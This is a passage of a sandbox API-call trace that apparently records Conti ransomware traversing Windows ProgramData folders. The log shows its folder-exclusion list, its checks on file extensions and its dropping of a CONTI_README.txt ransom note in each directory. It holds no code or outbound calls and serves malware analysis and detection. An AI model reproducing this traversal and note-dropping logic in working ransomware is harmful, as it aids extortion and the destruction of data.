	[0105.081] lstrcpyW (in: lpString1=0x17cb8f0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.081] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.081] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"
	[0105.081] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1
	[0105.081] lstrcmpiW (lpString1="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpString2=".") returned 1
	[0105.081] lstrcmpiW (lpString1="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpString2="..") returned 1
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.081] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch=".exe") returned 0x0
	[0105.082] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch=".dll") returned 0x0
	[0105.082] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch=".lnk") returned 0x0
	[0105.082] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch=".sys") returned 0x0
	[0105.082] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch=".CONTI") returned 0x0
	[0105.082] StrStrIW (lpFirst="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0105.082] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned 46
	[0105.082] lstrlenW (lpString="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml") returned 49
	[0105.082] GetProcessHeap () returned 0x1720000
	[0105.082] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0105.082] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding"
	[0105.082] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\"
	[0105.082] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\", lpString2="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"
	[0105.082] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 0
	[0105.082] GetProcessHeap () returned 0x1720000
	[0105.082] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740e30 | out: hHeap=0x1720000) returned 1
	[0105.082] FindClose (in: hFindFile=0x17c8030 | out: hFindFile=0x17c8030) returned 1
	[0105.082] GetProcessHeap () returned 0x1720000
	[0105.082] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b28 | out: hHeap=0x1720000) returned 1
	[0105.082] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="SoftLandingStage", cAlternateFileName="SOFTLA~2")) returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2=".") returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="..") returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="tmp") returned -1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="winnt") returned -1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="Application Data") returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="AppData") returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="temp") returned -1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="thumb") returned -1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="$Recycle.Bin") returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="$RECYCLE.BIN") returned 1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="System Volume Information") returned -1
	[0105.082] lstrcmpiW (lpString1="SoftLandingStage", lpString2="Program Files") returned 1
	[0105.083] lstrcmpiW (lpString1="SoftLandingStage", lpString2="Program Files (x86)") returned 1
	[0105.083] lstrcmpiW (lpString1="SoftLandingStage", lpString2="Boot") returned 1
	[0105.083] lstrcmpiW (lpString1="SoftLandingStage", lpString2="Windows") returned -1
	[0105.083] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0105.083] lstrlenW (lpString="SoftLandingStage") returned 16
	[0105.083] GetProcessHeap () returned 0x1720000
	[0105.083] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x17410d0
	[0105.083] lstrcpyW (in: lpString1=0x17410d0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0105.083] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0105.083] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="SoftLandingStage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage"
	[0105.083] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage") returned 51
	[0105.083] GetProcessHeap () returned 0x1720000
	[0105.083] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x17406b8
	[0105.083] lstrcpyW (in: lpString1=0x17406b8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage"
	[0105.083] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\*"
	[0105.083] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage") returned 51
	[0105.083] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.083] GetProcessHeap () returned 0x1720000
	[0105.083] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8a) returned 0x181c580
	[0105.083] lstrcpyW (in: lpString1=0x181c580, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage"
	[0105.083] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\"
	[0105.083] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\CONTI_README.txt"
	[0105.083] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlandingstage\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.083] GetProcessHeap () returned 0x1720000
	[0105.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c580 | out: hHeap=0x1720000) returned 1
	[0105.084] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.084] CloseHandle (hObject=0x38c) returned 1
	[0105.085] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLandingStage\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8430
	[0105.085] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.085] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.085] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.085] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.085] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5279d6e7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5279d6e7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.085] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.085] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.085] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.085] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.085] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5279d6e7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5279d6e7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.085] GetProcessHeap () returned 0x1720000
	[0105.085] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17406b8 | out: hHeap=0x1720000) returned 1
	[0105.085] FindClose (in: hFindFile=0x17c8430 | out: hFindFile=0x17c8430) returned 1
	[0105.085] GetProcessHeap () returned 0x1720000
	[0105.085] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17410d0 | out: hHeap=0x1720000) returned 1
	[0105.085] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="TenantStorage", cAlternateFileName="TENANT~1")) returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2=".") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="..") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="tmp") returned -1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="winnt") returned -1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="Application Data") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="AppData") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="temp") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="thumb") returned -1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="$Recycle.Bin") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="$RECYCLE.BIN") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="System Volume Information") returned 1
	[0105.085] lstrcmpiW (lpString1="TenantStorage", lpString2="Program Files") returned 1
	[0105.086] lstrcmpiW (lpString1="TenantStorage", lpString2="Program Files (x86)") returned 1
	[0105.086] lstrcmpiW (lpString1="TenantStorage", lpString2="Boot") returned 1
	[0105.086] lstrcmpiW (lpString1="TenantStorage", lpString2="Windows") returned -1
	[0105.086] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0105.086] lstrlenW (lpString="TenantStorage") returned 13
	[0105.086] GetProcessHeap () returned 0x1720000
	[0105.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x1741060
	[0105.086] lstrcpyW (in: lpString1=0x1741060, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0105.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0105.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="TenantStorage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage"
	[0105.086] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned 48
	[0105.086] GetProcessHeap () returned 0x1720000
	[0105.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x17411b0
	[0105.086] lstrcpyW (in: lpString1=0x17411b0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage"
	[0105.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\*"
	[0105.086] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned 48
	[0105.086] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.086] GetProcessHeap () returned 0x1720000
	[0105.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x84) returned 0x17c9460
	[0105.086] lstrcpyW (in: lpString1=0x17c9460, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage"
	[0105.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\"
	[0105.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\CONTI_README.txt"
	[0105.086] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\tenantstorage\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.087] GetProcessHeap () returned 0x1720000
	[0105.087] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9460 | out: hHeap=0x1720000) returned 1
	[0105.087] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0105.088] CloseHandle (hObject=0x38c) returned 1
	[0105.088] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7e70
	[0105.088] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.088] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.088] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.088] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.088] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5279d6e7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5279d6e7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5279d6e7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.088] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.088] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.089] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.089] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.089] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b11c43, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b37da3, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="P-ARIA", cAlternateFileName="")) returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2=".") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="..") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="tmp") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="winnt") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="Application Data") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="AppData") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="temp") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="thumb") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="$Recycle.Bin") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="$RECYCLE.BIN") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="System Volume Information") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="Program Files") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="Program Files (x86)") returned -1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="Boot") returned 1
	[0105.089] lstrcmpiW (lpString1="P-ARIA", lpString2="Windows") returned -1
	[0105.089] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned 48
	[0105.089] lstrlenW (lpString="P-ARIA") returned 6
	[0105.089] GetProcessHeap () returned 0x1720000
	[0105.089] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740988
	[0105.089] lstrcpyW (in: lpString1=0x1740988, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage"
	[0105.089] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\"
	[0105.089] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\", lpString2="P-ARIA" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA"
	[0105.089] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned 55
	[0105.089] GetProcessHeap () returned 0x1720000
	[0105.089] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17e4258
	[0105.089] lstrcpyW (in: lpString1=0x17e4258, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA"
	[0105.089] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\*"
	[0105.089] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned 55
	[0105.089] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.089] GetProcessHeap () returned 0x1720000
	[0105.089] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x17403d0
	[0105.089] lstrcpyW (in: lpString1=0x17403d0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA"
	[0105.089] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\TenantStorage\\P-ARIA\\"
